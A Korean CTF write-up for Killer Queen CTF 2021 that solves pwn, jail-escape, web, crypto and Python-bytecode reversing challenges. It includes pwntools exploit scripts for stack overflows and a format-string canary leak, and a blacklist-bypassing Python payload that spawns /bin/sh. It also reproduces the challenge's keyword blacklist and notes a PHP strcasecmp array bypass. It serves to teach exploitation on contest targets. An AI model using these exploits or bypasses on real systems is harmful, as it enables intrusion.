Killer Queen CTF 2021 Write-Up
후기
정말 최악이였다... pwn문제는 3~4개 풀었는데 거의 3시간 넘게 서버가 다운되고 거의 대회 초반부터 remote 서버 주소를 주지 않아 계속 기다리다가 그냥 잤다..
PWN
A kind of magic
undefined8 main(void)
{
char local_38 [44];
uint local_c;
local_c = 0;
puts("Is this a kind of magic? What is your magic?: ");
fflush(stdout);
fgets(local_38,0x40,stdin);
printf("You entered %s\n",local_38);
printf("Your magic is: %d\n",(ulong)local_c);
fflush(stdout);
if (local_c == 0x539) {
puts("Whoa we got a magic man here!");
fflush(stdout);
system("cat flag.txt");
}
else {
puts("You need to challenge the doors of time");
fflush(stdout);
}
return 0;
}
local_38의 크기는 44이지만, fgets는 0x40만큼 받기 때문에 Overflow 발생
local_c의 값을 0x539로만 바꿔주면됨
from pwn import *
p = remote('143.198.184.186', 5000)
payload = "A"*44
payload += p64(0x539)
p.sendlineafter('magic?:', payload)
p.interactive()
I want to break free
jail.py
#!/usr/bin/env python3
def server():
message = """
You are in jail. Can you escape?
"""
print(message)
while True:
try:
data = input("> ")
safe = True
for char in data:
if not (ord(char)>=33 and ord(char)<=126):
safe = False
with open("blacklist.txt","r") as f:
badwords = f.readlines()
for badword in badwords:
if badword in data or data in badword:
safe = False
if safe:
print(exec(data))
else:
print("You used a bad word!")
except Exception as e:
print("Something went wrong.")
print(e)
exit()
if __name__ == "__main__":
server()
blacklist.txt
cat
grep
nano
import
eval
subprocess
input
sys
execfile
builtins
open
dict
exec
for
dir
file
input
write
while
echo
print
int
os
blacklist에 있는 단어들을 쓰면 프로그램이 종료됨(exit) -> 해당 blacklist를 우회하여 쉘을 실행시키면됨
__import__('o''s').system("/bin/sh")
zoom2win
말 그대로 ret2win을 하라고 알려주는 문제이다.
void main(void)
{
char local_28 [32];
puts("Let\'s not overcomplicate. Just zoom2win :)");
gets(local_28);
return;
}
gets에서 bof가 터지고 flag함수를 ret주소에 덮기만 하면됨
void flag(void)
{
system("cat flag.txt");
return;
}
Tweety birb
undefined8 main(void)
{
long in_FS_OFFSET;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts(
"What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb protectinig me so it\'s not like you hacker can do anything. Anyways, what do you think of magpies?"
);
gets(local_58);
/* canary leak */
printf(local_58);
puts("\nhmmm interesting. What about water fowl?");
gets(local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
첫 printf(local_58)에서 FSB가 터진다. 이를 이용하여 카나리의 값을 유추하고, 두번째 gets에 dummy+canary+rbp+ret순서로 덮으면 됨.
from pwn import *
context.arch="amd64"
p = remote('143.198.184.186',5002)
e = ELF('./tweetybirb')
win = 0x4011de
payload = "%15$p"
p.sendlineafter('magpies?\n', payload)
canary = int(p.recvline()[:-1], 16)
payload1 = b"A"*72
payload1 += p64(canary)
payload1 += b"B"*8
payload1 += p64(win)
p.sendlineafter(b'fowl?\n', payload1)
p.interactive()
Hammer To Fall
꽤나 애먹었던 문제.. Integer Overflow를 이용해서 푸는 문제인지는 간파했으나 정확한 값의 범위를 잘 몰랐었다.
import numpy as np
a = np.array([0], dtype=int)
val = int(input("This hammer hits so hard it creates negative matter\n"))
if val == -1:
exit()
a[0] = val
a[0] = (a[0] * 7) + 1
print(a[0])
if a[0] == -1:
print("flag!")
해당 코드는 (a[0]*7) + 1을 -1로 만들어야 한다.
그럼 a[0]*7을 -2로 만들거나 해야하는데 이때 Integer overflow를 이용
2^64 -1 = 18446744073709551615L
18446744073709551615L / 7 = 2635249153387078802L
2635249153387078802을 넣어주면 끝
Crypto
파일을 열어보면 E, C, P, Q 값을 주는데, 이를 이용하여 RSA Decoder툴을 이용하여 풀어주면 끝
WEB
Just not my type
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$password = $_POST["password"];
if (strcasecmp($password, $FLAG) == 0)
{
echo $FLAG;
}
else
{
echo "That's the wrong password!";
}
}
strcasecmp에서 취약점이 터진다.
strcmp로 어떤 문자열을 비교하게 된다면, 배열 형식으로 데이터를 보내면 우회가 가능함
REV
파일을 열면
4 0 LOAD_CONST 1 ('')
2 STORE_FAST 0 (f)
5 4 LOAD_CONST 2 ('rwhxi}eomr\\^`Y')
6 STORE_FAST 1 (a)
6 8 LOAD_CONST 3 ('f]XdThbQd^TYL&\x13g')
10 STORE_FAST 2 (z)
7 12 LOAD_FAST 1 (a)
14 LOAD_FAST 2 (z)
16 BINARY_ADD
18 STORE_FAST 1 (a)
8 20 LOAD_GLOBAL 0 (enumerate)
22 LOAD_FAST 1 (a)
24 CALL_FUNCTION 1
26 GET_ITER
>> 28 FOR_ITER 48 (to 78)
30 UNPACK_SEQUENCE 2
32 STORE_FAST 3 (i)
34 STORE_FAST 4 (b)
9 36 LOAD_GLOBAL 1 (ord)
38 LOAD_FAST 4 (b)
40 CALL_FUNCTION 1
42 STORE_FAST 5 (c)
10 44 LOAD_FAST 5 (c)
46 LOAD_CONST 4 (7)
48 BINARY_SUBTRACT
50 STORE_FAST 5 (c)
11 52 LOAD_FAST 5 (c)
54 LOAD_FAST 3 (i)
56 BINARY_ADD
58 STORE_FAST 5 (c)
12 60 LOAD_GLOBAL 2 (chr)
62 LOAD_FAST 5 (c)
64 CALL_FUNCTION 1
66 STORE_FAST 5 (c)
13 68 LOAD_FAST 0 (f)
70 LOAD_FAST 5 (c)
72 INPLACE_ADD
74 STORE_FAST 0 (f)
76 JUMP_ABSOLUTE 28
14 >> 78 LOAD_GLOBAL 3 (print)
80 LOAD_FAST 0 (f)
82 CALL_FUNCTION 1
84 POP_TOP
86 LOAD_CONST 0 (None)
88 RETURN_VALUE
다음과 같은 코드들이 보인다. 해당 코드는 파이썬 바이트 코드이며, 해당 코드를 역어셈블하여 파이썬으로 실행해주면 된다.
사용된 명령어들의 해석은 다음과 같다
LOAD_GLOBAL (namei) → co_names[namei]라는 이름의 전역을 스택에 로드
LOAD_FAST(var_num) → 지역 co_varnames[var_num]에 대한 참조를 스택으로 푸시
LOAD_CONST → co_consts[consti]를 스택으로 푸시
STORE_FAST(var_num) → TOS를 지역 co_varnames[var_num]에 저장
예를 들면 해당 코드를 역어셈블하면 다음 파이썬 코드가 나온다.
13 68 LOAD_FAST 0 (f)
70 LOAD_FAST 5 (c)
72 INPLACE_ADD
74 STORE_FAST 0 (f)
76 JUMP_ABSOLUTE 28
f = f+ c
그래서 위 코드들을 다 역어셈 한 후의 최종 파이썬 코드는 다음과 같다.
a = 'rwhxi}eomr\\^`Y'
z = 'f]XdThbQd^TYL&\x13g'
a = a + z
f = ""
for i, b in enumerate(a):
c = ord(b)
c = c-7
c = c+i
c = chr(c)
f = f+c
print(f)
sneeki snek 2 oh no what did i do
4 0 BUILD_LIST 0
2 STORE_FAST 0 (a)
5 4 LOAD_FAST 0 (a)
6 LOAD_METHOD 0 (append)
8 LOAD_CONST 1 (1739411)
10 CALL_METHOD 1
12 POP_TOP
6 14 LOAD_FAST 0 (a)
16 LOAD_METHOD 0 (append)
18 LOAD_CONST 2 (1762811)
20 CALL_METHOD 1
22 POP_TOP
7 24 LOAD_FAST 0 (a)
26 LOAD_METHOD 0 (append)
28 LOAD_CONST 3 (1794011)
30 CALL_METHOD 1
32 POP_TOP
8 34 LOAD_FAST 0 (a)
36 LOAD_METHOD 0 (append)
38 LOAD_CONST 4 (1039911)
40 CALL_METHOD 1
42 POP_TOP
9 44 LOAD_FAST 0 (a)
46 LOAD_METHOD 0 (append)
48 LOAD_CONST 5 (1061211)
50 CALL_METHOD 1
52 POP_TOP
10 54 LOAD_FAST 0 (a)
56 LOAD_METHOD 0 (append)
58 LOAD_CONST 6 (1718321)
60 CALL_METHOD 1
62 POP_TOP
11 64 LOAD_FAST 0 (a)
66 LOAD_METHOD 0 (append)
68 LOAD_CONST 7 (1773911)
70 CALL_METHOD 1
72 POP_TOP
12 74 LOAD_FAST 0 (a)
76 LOAD_METHOD 0 (append)
78 LOAD_CONST 8 (1006611)
80 CALL_METHOD 1
82 POP_TOP
13 84 LOAD_FAST 0 (a)
86 LOAD_METHOD 0 (append)
88 LOAD_CONST 9 (1516111)
90 CALL_METHOD 1
92 POP_TOP
14 94 LOAD_FAST 0 (a)
96 LOAD_METHOD 0 (append)
98 LOAD_CONST 1 (1739411)
100 CALL_METHOD 1
102 POP_TOP
15 104 LOAD_FAST 0 (a)
106 LOAD_METHOD 0 (append)
108 LOAD_CONST 10 (1582801)
110 CALL_METHOD 1
112 POP_TOP
16 114 LOAD_FAST 0 (a)
116 LOAD_METHOD 0 (append)
118 LOAD_CONST 11 (1506121)
120 CALL_METHOD 1
122 POP_TOP
17 124 LOAD_FAST 0 (a)
126 LOAD_METHOD 0 (append)
128 LOAD_CONST 12 (1783901)
130 CALL_METHOD 1
132 POP_TOP
18 134 LOAD_FAST 0 (a)
136 LOAD_METHOD 0 (append)
138 LOAD_CONST 12 (1783901)
140 CALL_METHOD 1
142 POP_TOP
19 144 LOAD_FAST 0 (a)
146 LOAD_METHOD 0 (append)
148 LOAD_CONST 7 (1773911)
150 CALL_METHOD 1
152 POP_TOP
20 154 LOAD_FAST 0 (a)
156 LOAD_METHOD 0 (append)
158 LOAD_CONST 10 (1582801)
160 CALL_METHOD 1
162 POP_TOP
21 164 LOAD_FAST 0 (a)
166 LOAD_METHOD 0 (append)
168 LOAD_CONST 8 (1006611)
170 CALL_METHOD 1
172 POP_TOP
22 174 LOAD_FAST 0 (a)
176 LOAD_METHOD 0 (append)
178 LOAD_CONST 13 (1561711)
180 CALL_METHOD 1
182 POP_TOP
23 184 LOAD_FAST 0 (a)
186 LOAD_METHOD 0 (append)
188 LOAD_CONST 4 (1039911)
190 CALL_METHOD 1
192 POP_TOP
24 194 LOAD_FAST 0 (a)
196 LOAD_METHOD 0 (append)
198 LOAD_CONST 10 (1582801)
200 CALL_METHOD 1
202 POP_TOP
25 204 LOAD_FAST 0 (a)
206 LOAD_METHOD 0 (append)
208 LOAD_CONST 7 (1773911)
210 CALL_METHOD 1
212 POP_TOP
26 214 LOAD_FAST 0 (a)
216 LOAD_METHOD 0 (append)
218 LOAD_CONST 13 (1561711)
220 CALL_METHOD 1
222 POP_TOP
27 224 LOAD_FAST 0 (a)
226 LOAD_METHOD 0 (append)
228 LOAD_CONST 10 (1582801)
230 CALL_METHOD 1
232 POP_TOP
28 234 LOAD_FAST 0 (a)
236 LOAD_METHOD 0 (append)
238 LOAD_CONST 7 (1773911)
240 CALL_METHOD 1
242 POP_TOP
29 244 LOAD_FAST 0 (a)
246 LOAD_METHOD 0 (append)
248 LOAD_CONST 8 (1006611)
250 CALL_METHOD 1
252 POP_TOP
30 254 LOAD_FAST 0 (a)
256 LOAD_METHOD 0 (append)
258 LOAD_CONST 9 (1516111)
260 CALL_METHOD 1
262 POP_TOP
31 264 LOAD_FAST 0 (a)
266 LOAD_METHOD 0 (append)
268 LOAD_CONST 9 (1516111)
270 CALL_METHOD 1
272 POP_TOP
32 274 LOAD_FAST 0 (a)
276 LOAD_METHOD 0 (append)
278 LOAD_CONST 1 (1739411)
280 CALL_METHOD 1
282 POP_TOP
33 284 LOAD_FAST 0 (a)
286 LOAD_METHOD 0 (append)
288 LOAD_CONST 14 (1728311)
290 CALL_METHOD 1
292 POP_TOP
34 294 LOAD_FAST 0 (a)
296 LOAD_METHOD 0 (append)
298 LOAD_CONST 15 (1539421)
300 CALL_METHOD 1
302 POP_TOP
36 304 LOAD_CONST 16 ('')
306 STORE_FAST 1 (b)
37 308 LOAD_FAST 0 (a)
310 GET_ITER
>> 312 FOR_ITER 80 (to 394)
314 STORE_FAST 2 (i)
38 316 LOAD_GLOBAL 1 (str)
318 LOAD_FAST 2 (i)
320 CALL_FUNCTION 1
322 LOAD_CONST 0 (None)
324 LOAD_CONST 0 (None)
326 LOAD_CONST 17 (-1)
328 BUILD_SLICE 3
330 BINARY_SUBSCR
332 STORE_FAST 3 (c)
39 334 LOAD_FAST 3 (c)
336 LOAD_CONST 0 (None)
338 LOAD_CONST 17 (-1)
340 BUILD_SLICE 2
342 BINARY_SUBSCR
344 STORE_FAST 3 (c)
40 346 LOAD_GLOBAL 2 (int)
348 LOAD_FAST 3 (c)
350 CALL_FUNCTION 1
352 STORE_FAST 3 (c)
41 354 LOAD_FAST 3 (c)
356 LOAD_CONST 18 (5)
358 BINARY_XOR
360 STORE_FAST 3 (c)
42 362 LOAD_FAST 3 (c)
364 LOAD_CONST 19 (55555)
366 BINARY_SUBTRACT
368 STORE_FAST 3 (c)
43 370 LOAD_FAST 3 (c)
372 LOAD_CONST 20 (555)
374 BINARY_FLOOR_DIVIDE
376 STORE_FAST 3 (c)
44 378 LOAD_FAST 1 (b)
380 LOAD_GLOBAL 3 (chr)
382 LOAD_FAST 3 (c)
384 CALL_FUNCTION 1
386 INPLACE_ADD
388 STORE_FAST 1 (b)
390 EXTENDED_ARG 1
392 JUMP_ABSOLUTE 312
45 >> 394 LOAD_GLOBAL 4 (print)
396 LOAD_FAST 1 (b)
398 CALL_FUNCTION 1
400 POP_TOP
402 LOAD_CONST 0 (None)
404 RETURN_VALUE
sneak 1번문제와 마찬가지로 역어셈블하면됨
이 부분에서 해맸는데 검색해보니 [::-1]이라고 한다
38 316 LOAD_GLOBAL 1 (str)
318 LOAD_FAST 2 (i)
320 CALL_FUNCTION 1
322 LOAD_CONST 0 (None)
324 LOAD_CONST 0 (None)
326 LOAD_CONST 17 (-1)
328 BUILD_SLICE 3
330 BINARY_SUBSCR
332 STORE_FAST 3 (c)
a = []
a.append(1739411)
a.append(1762811)
a.append(1794011)
a.append(1039911)
a.append(1061211)
a.append(1718321)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1739411)
a.append(1582801)
a.append(1506121)
a.append(1783901)
a.append(1783901)
a.append(1773911)
a.append(1582801)
a.append(1006611)
a.append(1561711)
a.append(1039911)
a.append(1582801)
a.append(1773911)
a.append(1561711)
a.append(1582801)
a.append(1773911)
a.append(1006611)
a.append(1516111)
a.append(1516111)
a.append(1739411)
a.append(1728311)
a.append(1539421)
b = ""
for i in a:
c = str(i)[::-1]
c = c[0:-1]
c = int(c)
c = c ^ 5
c = c - 55555
c = c // 555
b += chr(c)
print(b)